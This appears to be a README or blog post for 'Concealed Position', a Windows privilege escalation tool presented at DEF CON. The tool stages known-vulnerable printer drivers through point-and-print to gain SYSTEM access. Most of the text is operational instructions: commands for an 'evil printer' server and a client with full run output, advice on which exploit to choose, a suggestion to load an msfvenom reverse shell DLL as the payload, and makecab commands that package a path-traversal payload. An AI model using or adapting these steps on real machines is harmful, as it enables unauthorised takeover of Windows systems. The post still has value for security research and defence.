October 25, 2021

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Concealed Position – Bring Your Own Print Driver Privilege Escalation Tool

Concealed Position – Bring Your Own Print Driver Privilege Escalation Tool

Concealed Position is a local privilege escalation attack against Windows using the concept of “Bring Your Own Vulnerability”. Specifically, Concealed Position (CP) uses the as designed package point and print logic in Windows that allows a low privilege user to stage and install printer drivers. CP specifically installs drivers with known vulnerabilities which are then exploited to escalate to SYSTEM. Concealed Position was first presented at DEF CON 29.

What exploits are available

Concealed Position offers four exploits – all with equally dumb names:

The exploits are neat because, besides SLASHINGDAMAGE, they will continue working even after the issues are patched. The only mechanism Windows has to stop users from using old drivers is to revoke the driver’s certificate – something that is not(?) historically done.

But which exploit should I use?!

Probably ACIDDAMAGE. RADIANTDAMAGE and POISONDAMAGE are race conditions (to overwrite a DLL) and SLASHINGDAMAGE damage, hopefully, is patched most everywhere.

How does it work?

Concealed Position has two parts. An evil printer and a client. The client reaches out to the server, grabs a driver, gets the driver stored in the driver store, installs the printer, and exploits the install process. Easy! In MSAPI speak, the attack goes something like this:

Step 1: Stage the driver in the driver store
client to server: GetPrinterDriver
server to client: Response with driver

Stage 2: Install the driver from the driver store
client: InstallPrinterDriverFromPackage

Stage 3: Add a local printer (exploitation stage)
client: Add printer

It is important to note that SLASHINGDAMAGE doesn’t actually work like that though. SLASHINGDAMAGE is an implementation of the evil printer attack described at DEFCON 28 (2020) and has long since been patched. I just so happen to enjoy the attack (it sparked the rest of this development) and figured I’d leave the exploit in my evil server… as confusing as that may be.

Is this a Windows vulnerability?

Arguably, yes. The driver store is a “trusted collection of … third-party driver packages” that requires administrator access to modify. Using GetPrinterDriver a low privileged attacker can stage arbitrary drivers into the store. This, to me, crosses a clear security boundary.

Microsoft seemed to agree when they issued CVE-2021-34481.

Although… it’s arguable that this is simply a feature of the system and not a vulnerability at all. It really doesn’t matter all that much. An attacker can escalate to SYSTEM on standard Windows installs.

Which verions of Windows are affected by CVE-2021-34481?

At least Windows 8.1 and above.

How do I use these tools?

Simple! So simple there will be many paragraphs to describe it!

CP Server

First, let’s look at cp_server’s command line options:

C:Usersalbinolobsterconcealed_positionbuildx64Releasebin>cp_server.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| || _____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!

CLI options:
-h, --help Display the help message
-e, --exploit arg The exploit to use
-c, --cabs arg (=.cab_files) The location of the cabinet files

Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
SLASHINGDAMAGE

C:Usersalbinolobsterconcealed_positionbuildx64Releasebin>

Above you can see the server requires two options:

  1. The exploit to configure the printer for
  2. A path to this repositories cab_files (.cab_files is the default)

For example, let’s say we wanted to configure an evil printer that would serve up the ACIDDAMAGE driver. Just do this:

C:Usersalbinolobsterconcealed_positionbuildx64Releasebin>cp_server.exe -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!

[+] Creating temporary space...
[+] Expanding .cab_filesACIDDAMAGELMUD1o40.cab
[+] Pushing into the driver store
[+] Cleaning up tmp space
[+] Installing print driver
[+] Driver installed!
[+] Installing shared printer
[+] Shared printer installed!
[+] Automation Done.
[!] IMPORTANT MANUAL STEPS!
[0] In Advanced Sharing Settings, Turn off password protected sharing.
[1] Ready to go!

C:Usersalbinolobsterconcealed_positionbuildx64Releasebin>

And that’s it, you’ll see a new printer on your system:

PS C:Usersalbinolobsterconcealed_positionbuildx64Releasebin> Get-Printer

Name ComputerName Type DriverName PortName Shared Publishe
d
---- ------------ ---- ---------- -------- ------ --------
ACIDDAMAGE Local Lexmark Universal v2 LPT1: True False
CutePDF Writer Local CutePDF Writer v4.0 CPW4: False False
OneNote for Windows 10 Local Microsoft Software Pri... Microsoft.Of... False False
Microsoft XPS Document Writer Local Microsoft XPS Document... PORTPROMPT: False False
Microsoft Print to PDF Local Microsoft Print To PDF PORTPROMPT: False False
Fax Local Microsoft Shared Fax D... SHRFAX: False False


PS C:Usersalbinolobsterconcealed_positionbuildx64Releasebin>

Note that there is one manual step that cp_server prompts you to do. Because I’m a junk hacker, I couldn’t figure out how to programmatically set the “Advanced Sharing Settings” -> “Turn off password protected sharing”. You’ll have to do that yourself!

The process for using SLASHINGDAMAGE is a little different. You’ll need to first install CutePDF Writer (find the installers in the 3rd party directory). Then run cp_server and then you’ll still need to follow a couple of manual steps and reboot.

CP Client

The client is similarly easy to use. Let’s look at it’s command line options:

C:Usersalbinolobsterconcealed_positionbuildx64Releasebin>cp_client.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| || _____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!

CLI options:
-h, --help Display the help message
-r, --rhost arg The remote evil printer address
-n, --name arg The remote evil printer name
-e, --exploit arg The exploit to use
-l, --local No remote printer. Local attack only.
-d, --dll arg Path to user provided DLL to execute.

Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE

First, I’d like to address the –dll option. The client has an embedded payload that will simply write the C:result.txt file. However, users can provide their own DLL via this option. A good example of something you might want to use is an x64 reverse shell produced by msfvenom. But for the rest of this we’ll just assume the embedded payload.

cp_client has two modes: remote and local. The remote option is the most interesting because it adds the vulnerable driver to the driver store (thus executing the bring your own print driver vulnerability), so we’ll go with that first. Let’s say I want to connect back to the evil ACIDDAMAGE printer we configured previously. I just need to provide:

  1. The exploit I want to use
  2. The evil printer IP address
  3. The name of the evil shared printer

Like this!

C:UsersalbinolobsterDesktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_ | ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!

[+] Checking if driver is already installed
[-] Driver is not available.
[+] Call back to evil printer @ \10.0.0.9ACIDDAMAGE
[+] Staging driver in driver store
[+] Installing the staged driver
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:ProgramDataLexmark Universal v2 exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:ProgramDataLexmark Universal v2Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:tmp
[+] Installing printer
[!] Mucho success!

That’s it! To execute a local only attack, you just need to provide the exploit:

C:Usersalbinolobsterconcealed_positionbuildx64Releasebin>cp_client.exe -l -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!

[+] Checking if driver is already installed
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:ProgramDataLexmark Universal v2 exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:ProgramDataLexmark Universal v2Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:tmp
[+] Installing printer
[!] Mucho success!

C:Usersalbinolobsterconcealed_positionbuildx64Releasebin>

Why doesn’t the client have a SLASHINGDAMAGE option?

SLASHINGDAMAGE doesn’t need a special client for exploitation. You can just use the UI or the command line to connect to the remote printer and that’s it! Unfortunately, if you want to roll a custom payload you’ll need to update the CAB in the cab_files directory. But that’s easy. Something like this:

echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab

It’s probably important to know that the version of SLASHINGDAMAGE in the repo drops ualapi.dll into SYSTEM32 and, when executed on reboot, it drops the C:result.txt file.

Pull Requests and Bugs

Do you want to submit a pull request or file a bug? Great! I appreciate that, but if you don’t provide sufficient details to reproduce a bug or explain why a pull request should be accepted then there is a 100% chance I’ll close your issue without comment. I appreciate you, but I’m also pretty busy.

Other things

One thing to note is that the inject_me dll is actually embedded in the cp_client as a C array. If you update inject_me, you’ll need to manually update the C array as well (just use xxd to generate the array).